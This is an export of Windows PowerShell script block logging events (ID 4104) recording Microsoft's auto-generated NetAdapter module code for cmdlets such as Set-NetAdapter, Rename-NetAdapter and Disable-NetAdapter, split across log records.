$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:IncludeHidden'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:IncludeHidden'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdle
ScriptBlock ID: 8575be8b-8afa-4124-b4ab-bcb358d8ae2e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1908 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-75fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 5):
_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapter' -Alias '*'
ScriptBlock ID: d0792406-b1c9-4954-8426-31ce757dfcfb
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1907 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-6dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
e = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NewName')) {
[object]$__cmdletization_value = ${NewName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NewName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NewName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Rename', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Rename-NetAdapter' -Alias '*'
function Set-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='High', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapter')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateRange(0, 4094)]
[uint16]
${VlanID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('LinkLayerAddress')]
[string]
${MacAddress},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NetworkAddresses'; ParameterType = 'System.String[]'; Bindings = '0'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('VlanID')) {
[object]$__cmdletization_value = ${VlanID}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VlanID'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VlanID'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MacAddress')) {
[object]$__cmdletization_value = ${MacAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:MacAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:MacAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization
ScriptBlock ID: d0792406-b1c9-4954-8426-31ce757dfcfb
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1906 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-6dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 5):
ameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Restart', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Restart-NetAdapter' -Alias '*'
function Rename-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=1)]
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, Position=1)]
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, Position=1)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${NewName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_valu
ScriptBlock ID: d0792406-b1c9-4954-8426-31ce757dfcfb
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1905 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-6dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
ns $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapter' -Alias '*'
function Disable-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='High', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
